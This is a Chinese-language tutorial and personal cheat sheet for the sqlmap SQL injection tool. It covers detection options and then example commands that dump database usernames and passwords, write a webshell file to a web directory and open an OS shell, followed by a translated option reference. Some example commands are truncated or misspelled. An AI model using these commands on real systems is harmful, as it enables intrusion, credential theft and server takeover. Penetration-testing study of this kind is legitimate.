Sqlmap使⽤教程【个⼈笔记精华整理】
sqlmap也是渗透中常⽤的⼀个注⼊⼯具,其实在注⼊⼯具⽅⾯,⼀个sqlmap就⾜够⽤了,只要你⽤的熟,秒杀各种⼯具,只是⼀个便捷性问题,sql注⼊另⼀⽅⾯就是⼿⼯党了,这个就另当别论了。
今天把我⼀直以来整理的sqlmap笔记发布上来供⼤家参考。
教程说明
学习sqlmap前,建议了解SQL注⼊实现原理与基本的⼿⼯注⼊操作,更易于理解sqlmap的使⽤。
我的另⼀个笔记整理:
针对sqlmap注⼊过waf,可以参考:
sqlmap简介
sqlmap⽀持五种不同的注⼊模式:
1、基于布尔的盲注,即可以根据返回页⾯判断条件真假的注⼊。
2、基于时间的盲注,即不能根据页⾯返回内容判断任何信息,⽤条件语句查看时间延迟语句是否执⾏(即页⾯返回时间是否增加)来
判断。
3、基于报错注⼊,即页⾯会返回错误信息,或者把注⼊的语句的结果直接返回在页⾯中。
4、联合查询注⼊,可以使⽤union的情况下的注⼊。
5、堆查询注⼊,可以同时执⾏多条语句的执⾏时的注⼊。
sqlmap⽀持的数据库有
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
检测注⼊
基本格式
默认使⽤level1检测全部数据库类型
指定数据库类型为mysql,级别为3(共5级,级别越⾼,检测越全⾯)
跟随302跳转
当注⼊页⾯错误的时候,⾃动跳转到另⼀个页⾯的时候需要跟随302,
当注⼊错误的时候,先报错再跳转的时候,不需要跟随302。
⽬的就是:要追踪到错误信息。
cookie注⼊
从post数据包中注⼊
可以使⽤burpsuite或者temperdata等⼯具来抓取post包
sqlmap -r “c:\” -p “username” –dbms mysql    指定username参数
注⼊成功后
获取数据库基本信息
查询有哪些数据库
查询test数据库中有哪些表
查询test数据库中admin表有哪些字段
dump出字段username与password中的数据
其他命令参考下⾯
从数据库中搜索字段
sqlmap -r “c:\” –dbms mysql -D dedecms –search -C admin,password
在dedecms数据库中搜索字段admin或者password。
读取与写⼊⽂件
⾸先需要⽹站的物理路径,其次需要有可写或可读权限。
–file-read=RFILE 从后端的数据库管理系统⽂件系统读取⽂件 (物理路径)
–file-write=WFILE 编辑后端的数据库管理系统⽂件系统上的本地⽂件 (mssql xp_shell)
–file-dest=DFILE 后端的数据库管理系统写⼊⽂件的绝对路径
#⽰例:
sqlmap -r “c:\” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”
使⽤shell命令:
sqlmap -r “c:\” -p id –dms mysql –os-shell
接下来指定⽹站可写⽬录:
“E:\php\htdocs\dvwa”
#注:mysql不⽀持列⽬录,仅⽀持读取单个⽂件。sqlserver可以列⽬录,不能读写⽂件,但需要⼀个(xp_dirtree函数)sqlmap详细命令:
–is-dba 当前⽤户权限(是否为root权限)
–dbs 所有数据库
–current-db ⽹站当前数据库
–users 所有数据库⽤户
–current-user 当前数据库⽤户
–random-agent 构造随机user-agent
–passwords 数据库密码
–proxy local:8080 –threads 10 (可以⾃定义线程加速) 代理
–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)——————————————————————————————————
Options(选项):
–version 显⽰程序的版本号并退出
-h, –help 显⽰此帮助消息并退出
-v VERBOSE 详细级别:0-6(默认为1)
保存进度继续跑:
Target(⽬标):
以下⾄少需要设置其中⼀个选项,设置⽬标URL。
-d DIRECT 直接连接到数据库。
-u URL, –url=URL ⽬标URL。
-l LIST 从Burp或WebScarab代理的⽇志中解析⽬标。
-r REQUESTFILE 从⼀个⽂件中载⼊HTTP请求。
-g GOOGLEDORK 处理Google dork的结果作为⽬标URL。
-c CONFIGFILE 从INI配置⽂件中加载选项。
Request(请求):
这些选项可以⽤来指定如何连接到⽬标URL。
mysql windows安装教程–data=DATA 通过POST发送的数据字符串
–cookie=COOKIE HTTP Cookie头
–cookie-urlencode URL 编码⽣成的cookie注⼊
–drop-set-cookie 忽略响应的Set – Cookie头信息
–user-agent=AGENT 指定 HTTP User – Agent头
–random-agent 使⽤随机选定的HTTP User – Agent头
–referer=REFERER 指定 HTTP Referer头
–headers=HEADERS 换⾏分开,加⼊其他的HTTP头
–auth-type=ATYPE HTTP⾝份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)–auth-cred=ACRED HTTP⾝份验证凭据(⽤户名:密码)
–auth-cert=ACERT HTTP认证证书(key_file,cert_file)
–proxy=PROXY 使⽤HTTP代理连接到⽬标URL
–proxy-cred=PCRED HTTP代理⾝份验证凭据(⽤户名:密码)
–ignore-proxy 忽略系统默认的HTTP代理
–delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒
–timeout=TIMEOUT 等待连接超时的时间(默认为30秒)
–retries=RETRIES 连接超时后重新连接的时间(默认3)
–scope=SCOPE 从所提供的代理⽇志中过滤器⽬标的正则表达式
–safe-url=SAFURL 在测试过程中经常访问的url地址
–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL
Enumeration(枚举):
这些选项可以⽤来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运⾏
您⾃⼰的SQL语句。
-b, –banner 检索数据库管理系统的标识
–current-user 检索数据库管理系统当前⽤户
–current-db 检索数据库管理系统当前数据库
–is-dba 检测DBMS当前⽤户是否DBA
–users 枚举数据库管理系统⽤户
–passwords 枚举数据库管理系统⽤户密码哈希
–privileges 枚举数据库管理系统⽤户的权限
–roles 枚举数据库管理系统⽤户的⾓⾊
–dbs 枚举数据库管理系统数据库
-D DBname 要进⾏枚举的指定数据库名
-
T TBLname 要进⾏枚举的指定数据库表(如:-T tablename –columns)
–tables 枚举的DBMS数据库中的表
–columns 枚举DBMS数据库表列
–dump 转储数据库管理系统的数据库中的表项
–dump-all 转储所有的DBMS数据库表中的条⽬
–search 搜索列(S),表(S)和/或数据库名称(S)
-C COL 要进⾏枚举的数据库列
-U USER ⽤来进⾏枚举的数据库⽤户
–exclude-sysdbs 枚举表时排除系统数据库
–start=LIMITSTART 第⼀个查询输出进⼊检索
–stop=LIMITSTOP 最后查询的输出进⼊检索
–first=FIRSTCHAR 第⼀个查询输出字的字符检索
–last=LASTCHAR 最后查询的输出字字符检索
–sql-query=QUERY 要执⾏的SQL语句
–sql-shell 提⽰交互式SQL的shell
Optimization(优化):
这些选项可⽤于优化SqlMap的性能。
-o 开启所有优化开关
–predict-output 预测常见的查询输出
–keep-alive 使⽤持久的HTTP(S)连接
–null-connection 从没有实际的HTTP响应体中检索页⾯长度
–threads=THREADS 最⼤的HTTP(S)请求并发量(默认为1)Injection(注⼊):
这些选项可以⽤来指定测试哪些参数, 提供⾃定义的注⼊payloads和可选篡改脚本。
-p TESTPARAMETER 可测试的参数(S)
–dbms=DBMS 强制后端的DBMS为此值
–os=OS 强制后端的DBMS操作系统为这个值
–prefix=PREFIX 注⼊payload字符串前缀
–suffix=SUFFIX 注⼊payload字符串后缀
–tamper=TAMPER 使⽤给定的脚本(S)篡改注⼊数据
Detection(检测):
这些选项可以⽤来指定在SQL盲注时如何解析和⽐较HTTP响应页⾯的内容。
–level=LEVEL 执⾏测试的等级(1-5,默认为1)
–risk=RISK 执⾏测试的风险(0-3,默认为1)
–string=STRING 查询时有效时在页⾯匹配字符串
–regexp=REGEXP 查询时有效时在页⾯匹配正则表达式
–text-only 仅基于在⽂本内容⽐较⽹页
Techniques(技巧):
这些选项可⽤于调整具体的SQL注⼊测试。
–technique=TECH SQL注⼊技术测试(默认BEUST)
–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
–union-cols=UCOLS 定列范围⽤于测试UNION查询注⼊
–union-char=UCHAR ⽤于暴⼒猜解列数的字符
Fingerprint(指纹):
-f, –fingerprint 执⾏检查⼴泛的DBMS版本指纹
Brute force(蛮⼒):
这些选项可以被⽤来运⾏蛮⼒检查。
–common-tables 检查存在共同表
–common-columns 检查存在共同列
User-defined function injection(⽤户⾃定义函数注⼊):
这些选项可以⽤来创建⽤户⾃定义函数。
–udf-inject 注⼊⽤户⾃定义函数
–shared-lib=SHLIB 共享库的本地路径
File system access(访问⽂件系统):
这些选项可以被⽤来访问后端数据库管理系统的底层⽂件系统。
–file-read=RFILE 从后端的数据库管理系统⽂件系统读取⽂件
–file-write=WFILE 编辑后端的数据库管理系统⽂件系统上的本地⽂件–file-dest=DFILE 后端的数据库管理系统写⼊⽂件的绝对路径Operating system access(操作系统访问):
这些选项可以⽤于访问后端数据库管理系统的底层操作系统。
–os-cmd=OSCMD 执⾏操作系统命令
–os-shell 交互式的操作系统的shell
–os-pwn 获取⼀个OOB shell,meterpreter或VNC
–os-smbrelay ⼀键获取⼀个OOB shell,meterpreter或VNC
–os-bof 存储过程缓冲区溢出利⽤
–priv-esc 数据库进程⽤户权限提升
–msf-path=MSFPATH Metasploit Framework本地的安装路径
–tmp-path=TMPPATH 远程临时⽂件⽬录的绝对路径
Windows注册表访问:
这些选项可以被⽤来访问后端数据库管理系统Windows注册表。
–reg-read 读⼀个Windows注册表项值
–reg-add 写⼀个Windows注册表项值数据
–reg-del 删除Windows注册表键值
–reg-key=REGKEY Windows注册表键
–reg-value=REGVAL Windows注册表项值
–reg-data=REGDATA Windows注册表键值数据
–reg-type=REGTYPE Windows注册表项值类型
这些选项可以⽤来设置⼀些⼀般的⼯作参数。
-t TRAFFICFILE 记录所有HTTP流量到⼀个⽂本⽂件中
-s SESSIONFILE 保存和恢复检索会话⽂件的所有数据
–flush-session 刷新当前⽬标的会话⽂件
–fresh-queries 忽略在会话⽂件中存储的查询结果

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。